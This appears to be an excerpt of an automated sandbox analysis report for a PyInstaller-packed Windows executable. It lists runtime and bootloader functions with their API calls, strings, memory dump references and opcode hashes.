                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD744F81,?,?,?,?,00007FF7FD74A4FA,?,?,?,?,00007FF7FD7471FF), ref: 00007FF7FD74B3BB
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD744F81,?,?,?,?,00007FF7FD74A4FA,?,?,?,?,00007FF7FD7471FF), ref: 00007FF7FD74B3CC
                                                                                                                                                                                                                                              • SetLastError.KERNEL32(?,?,?,00007FF7FD744F81,?,?,?,?,00007FF7FD74A4FA,?,?,?,?,00007FF7FD7471FF), ref: 00007FF7FD74B3E7
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2506987500-0
                                                                                                                                                                                                                                              • Opcode ID: 6c88e88182f069636ae7df0ba171e708af9cab9deaf2d86c464056bb8d47fe11
                                                                                                                                                                                                                                              • Instruction ID: 2cd65fe22efc27d77b431dd846b0db7396a78a86f4bc2b7540982fd220c0e2b6
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6c88e88182f069636ae7df0ba171e708af9cab9deaf2d86c464056bb8d47fe11
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F411FC20A0C642C6F75A7762565913DE1429F8E7A0FD48735D93E4E6D6FE2CE80183F1
                                                                                                                                                                                                                                              Function 00007FF7FD732910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7FD731B6A), ref: 00007FF7FD73295E
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
                                                                                                                                                                                                                                              • API String ID: 2050909247-2962405886
                                                                                                                                                                                                                                              • Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                              • Instruction ID: d2b82ea105e690f1d5954f7e586988d1bb375cbdcf2e25e3109f54c345674537
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9831C423A1C68192E710A765A8412F6A294BF8C7D4F804132EE9D8B795FE7CD54686F0
                                                                                                                                                                                                                                              Function 00007FF7FD732390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                                                                                                                                                                                                                              • String ID: Unhandled exception in script
                                                                                                                                                                                                                                              • API String ID: 3081866767-2699770090
                                                                                                                                                                                                                                              • Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
                                                                                                                                                                                                                                              • Instruction ID: 55a29bb02bacab95274dd7b88349d475a49990d8fe259c0d482f22de61c6afe4
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9A317372A0C68189EB20EF21E8552F9A350FF8D784F840135EA5D4BB99EF7CD104C7A1
                                                                                                                                                                                                                                              Function 00007FF7FD732B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7FD73918F,?,00007FF7FD733C55), ref: 00007FF7FD732BA0
                                                                                                                                                                                                                                              • MessageBoxW.USER32 ref: 00007FF7FD732C2A
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentMessageProcess
                                                                                                                                                                                                                                              • String ID: WARNING$Warning$[PYI-%d:%ls]
                                                                                                                                                                                                                                              • API String ID: 1672936522-3797743490
                                                                                                                                                                                                                                              • Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                              • Instruction ID: d82876520a6f320e28fa5aa9344dbab2285d7af3bc2e50385a0f2e3e78037a30
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F721A36270CB4192E711AB55F4447EAA364EB8C784F804136EE9D5B695EE3CD205C7E0
                                                                                                                                                                                                                                              Function 00007FF7FD732710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7FD731B99), ref: 00007FF7FD732760
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                              • API String ID: 2050909247-1591803126
                                                                                                                                                                                                                                              • Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                              • Instruction ID: bfdf52e94adbb9ba7ffc703e044873d3a6815eb55dc400193b7a4a20e126f4cc
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CA218372A1C78182E710EB51B4417EAA394FB8C384F800132EE9D47699EF7CD14587E0
                                                                                                                                                                                                                                              Function 00007FF7FD749AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                                                                                              • API String ID: 4061214504-1276376045
                                                                                                                                                                                                                                              • Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                              • Instruction ID: f2081e719303aa010a0384db56979dd3dfed0913de7d65e1c95145faec75ac59
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 45F04F21A0DA0681EB10AB64A4597799320AF4D765F940239C67E4A6E4FF2CE445C7F0
                                                                                                                                                                                                                                              Function 00007FF7FD7593D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _set_statfp
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1156100317-0
                                                                                                                                                                                                                                              • Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                              • Instruction ID: 471aa1ca724cfb991f0bc7c67f570b37dc9ca931178fa5d06677389624cb1ffb
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 58119172E5CA9301FF643124D556376A0446F5D374F844634EA7E0E2D6EF2CAD4141F6
                                                                                                                                                                                                                                              Function 00007FF7FD74B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FlsGetValue.KERNEL32(?,?,?,00007FF7FD74A613,?,?,00000000,00007FF7FD74A8AE,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74B41F
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD74A613,?,?,00000000,00007FF7FD74A8AE,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74B43E
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD74A613,?,?,00000000,00007FF7FD74A8AE,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74B466
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD74A613,?,?,00000000,00007FF7FD74A8AE,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74B477
                                                                                                                                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7FD74A613,?,?,00000000,00007FF7FD74A8AE,?,?,?,?,?,00007FF7FD74A83A), ref: 00007FF7FD74B488
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3702945584-0
                                                                                                                                                                                                                                              • Opcode ID: 43a5c13e669b9c0dc60c9d5204f3187f9cebb30c335aac4df6ce1d0b58ad24f5
                                                                                                                                                                                                                                              • Instruction ID: 9e31bad7c8b54e6472f299c088d1df92d9a5590aa388077ac47a5530c66b378a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 43a5c13e669b9c0dc60c9d5204f3187f9cebb30c335aac4df6ce1d0b58ad24f5
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A5113D20B0C642C1FB5AB7695659179E1415F8E7B0FD48335E93D4E6D6FE2CE80282F0
                                                                                                                                                                                                                                              Function 00007FF7FD74B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Value
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3702945584-0
                                                                                                                                                                                                                                              • Opcode ID: 8aa69c65082f5ed190463b1c2d732539134b8ecb86da000f77e4666776fecf75
                                                                                                                                                                                                                                              • Instruction ID: 3f4998771c89f757e9f5be1319469ca7797a88645ace77e65735039a69f41b0e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8aa69c65082f5ed190463b1c2d732539134b8ecb86da000f77e4666776fecf75
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C2110620A0C246C1FB5A7372442917AD1414F8F320FD48735D93E4E2D2FE2DB80252F1
                                                                                                                                                                                                                                              Function 00007FF7FD746010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: verbose
                                                                                                                                                                                                                                              • API String ID: 3215553584-579935070
                                                                                                                                                                                                                                              • Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                              • Instruction ID: 683e58b6cb340c334553dd4056f4162c686c792abefa0cc17d81e6ed421acf81
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A791C222A0CA46C1F762AF24D4587BEB291AB4AB54FC44136DA694B3D5FF3CE40583F0
                                                                                                                                                                                                                                              Function 00007FF7FD74FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                                                                                                                                              • API String ID: 3215553584-1196891531
                                                                                                                                                                                                                                              • Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                              • Instruction ID: c8d25b0177c26448e5a0c5595ccbc07dc10317a9e5f391043e39f36bc6271480
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1481C532D0C293C6F7666E258118279F6A0AB1B744FD54239DA298F2C9FB2DE50187F1
                                                                                                                                                                                                                                              Function 00007FF7FD73D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                                                                                                                                              • String ID: csm
                                                                                                                                                                                                                                              • API String ID: 2395640692-1018135373
                                                                                                                                                                                                                                              • Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                              • Instruction ID: eba4ee8b5f5a7b24931c30da6f46b240f4a88bbb665fb4aaff0fbba65ea831b9
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B651B132B1D6128BDB14AB55D054A78B391EB48B98F944130DA6E4B7C4FFBCE841D7E0
                                                                                                                                                                                                                                              Function 00007FF7FD73EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
